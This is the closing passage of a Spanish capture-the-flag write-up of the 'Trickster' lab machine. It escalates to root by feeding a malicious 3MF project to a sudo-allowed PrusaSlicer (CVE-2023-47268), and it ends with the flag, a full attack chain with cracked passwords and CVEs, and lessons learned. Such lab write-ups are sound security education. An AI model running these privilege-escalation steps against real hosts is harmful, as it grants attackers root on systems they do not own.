Se exporta el proyecto en formato 3MF (3D Manufacturing Format), que es un ZIP con el modelo y toda la configuración, incluido el post_process que acabamos de escribir:

el diálogo Guardar archivo como de PrusaSlicer, con el nombre poc.3mf y el tipo 3MF files (*.3mf)

Nombre: poc.3mf
Tipo:   3MF files (*.3mf)

El fichero está en el equipo donde se instaló PrusaSlicer, así que hace falta un doble salto para llevarlo hasta la víctima. Primero de ese equipo al Kali:

python -m http.server 80

el símbolo del sistema sirviendo el escritorio por HTTP en el puerto 80

C:\Users\Jaime\Desktop>python -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
wget http://192.168.0.17/poc.3mf

el wget descarga poc.3mf con sus 18117 bytes al directorio de trabajo del Kali

--2024-10-27 15:10:37--  http://192.168.0.17/poc.3mf
HTTP request sent, awaiting response... 200 OK
Length: 18117 (18K) [application/octet-stream]
2024-10-27 15:10:37 (22.8 MB/s) - 'poc.3mf' saved [18117/18117]

Y del Kali a la víctima:

python -m http.server 80

el http.server del Kali registra el GET /poc.3mf desde 10.10.11.34 con un 200

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.34 - - [27/Oct/2024 15:11:17] "GET / HTTP/1.1" 200 -
10.10.11.34 - - [27/Oct/2024 15:11:24] "GET /poc.3mf HTTP/1.1" 200 -
wget http://10.10.15.39/poc.3mf

el wget en la víctima, ya como adam, guarda poc.3mf en /tmp con el Content-Type application/vnd.ms-3mfdocument

adam@trickster:/tmp$ wget http://10.10.15.39/poc.3mf
HTTP request sent, awaiting response... 200 OK
Length: 18117 (18K) [application/vnd.ms-3mfdocument]
2024-10-27 14:11:25 (181 KB/s) - 'poc.3mf' saved [18117/18117]

Con el .3mf en /tmp, lo procesamos con sudo. El slicing completa y dispara el post_process; después invocamos la shell privilegiada.

sudo /opt/PrusaSlicer/./prusaslicer -s poc.3mf
/bin/bash -p
whoami

Si el slicing falla por el formato del nombre de salida, basta ajustar la línea output_filename_format del Slic3r_PE.config (dentro del Metadata/ del .3mf) para que el procesado complete:

la línea output_filename_format del Slic3r_PE.config, con el patrón de nombre que hay que dejar en una sola línea

; output_filename_format = {input_filename_base}_{nozzle_diameter[initial_tool]}n_{layer_height}mm_{printing_filament_types}_{printer_model}_{print_time}.gcode

Tras /bin/bash -p tenemos shell de root y leemos la flag.

El slicing ejecuta el post_process y /bin/bash -p devuelve whoami = root

adam@trickster:/tmp$ sudo /opt/PrusaSlicer/./prusaslicer -s poc.3mf
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
88 => Generating skirt and brim
90 => Exporting G-code to Cuerpo1.gcode
Slicing result exported to Cuerpo1.gcode
adam@trickster:/tmp$ /bin/bash -p
bash-5.1# whoami
root

el cat de root.txt devuelve la flag final desde la shell de root

bash-5.1# cat root.txt
fcdf53072252fa6e1ded15b115095dd2

Máquina rooteada.

Trickster has been Pwned!

Cadena de ataque

shop.trickster.htb (PrestaShop)
  │  .git expuesto  ─►  git-dumper  ─►  ruta admin + versión 8.1.5 + usuario adam
  ▼
CVE-2024-34716 (XSS almacenado a RCE)  ─►  shell www-data
  │  parameters.php: ps_user / prest@shop_o
  ▼
MariaDB ps_employee  ─►  hash bcrypt de james  ─►  crack: alwaysandforever
  │  ssh james  ─►  user.txt
  ▼
Docker 172.17.0.2:5000 (changedetection v0.45.20)  ─►  port forward + reuso de contraseña
  │  CVE-2024-32651 (SSTI en notificaciones)  ─►  root dentro del contenedor
  ▼
backups changedetection (brotli)  ─►  contraseña de adam: adam_admin992  ─►  su adam
  │  sudo -l: NOPASSWD /opt/PrusaSlicer/prusaslicer
  ▼
CVE-2023-47268 (post_process en .3mf)  ─►  /bin/bash -p  ─►  root  ─►  root.txt

Lecciones aprendidas

  • Un .git expuesto es el código fuente entero. No solo filtró la versión de PrestaShop, sino la ruta secreta del panel de administración y el nombre de usuario (adam) del autor de los commits. Lo que el navegador no servía sí estaba en los blobs del repositorio: por eso volcar el .git vio más que la navegación normal.
  • La versión marca el exploit en cada salto. PrestaShop 8.1.5 &rarr; CVE-2024-34716; changedetection 0.45.20 &rarr; CVE-2024-32651; PrusaSlicer vulnerable &rarr; CVE-2023-47268. Identificar producto y versión fue, en las tres fases, más rápido que cualquier fuzzing.
  • Las credenciales se reutilizan. La contraseña de james abrió tanto SSH como el login de changedetection. Validar cada credencial en cada servicio (reutilización de credenciales) ahorró un paso entero de la cadena.
  • root en un contenedor no es root en el host. El SSTI nos dio uid=0 dentro del Docker, pero el valor estuvo en enumerar sus artefactos: los backups de changedetection guardaban la contraseña de adam. El pivote por contenedores suele ser extraer secretos, no escapar.
  • sudo NOPASSWD sobre un binario que procesa ficheros del usuario es RCE como root. PrusaSlicer ejecuta post_process embebido en el .3mf; cualquier formato con scripting (macros, plantillas, hooks) convierte ese sudo en una shell privilegiada.
Cheatsheet de comandos 23 comandos

Repaso rápido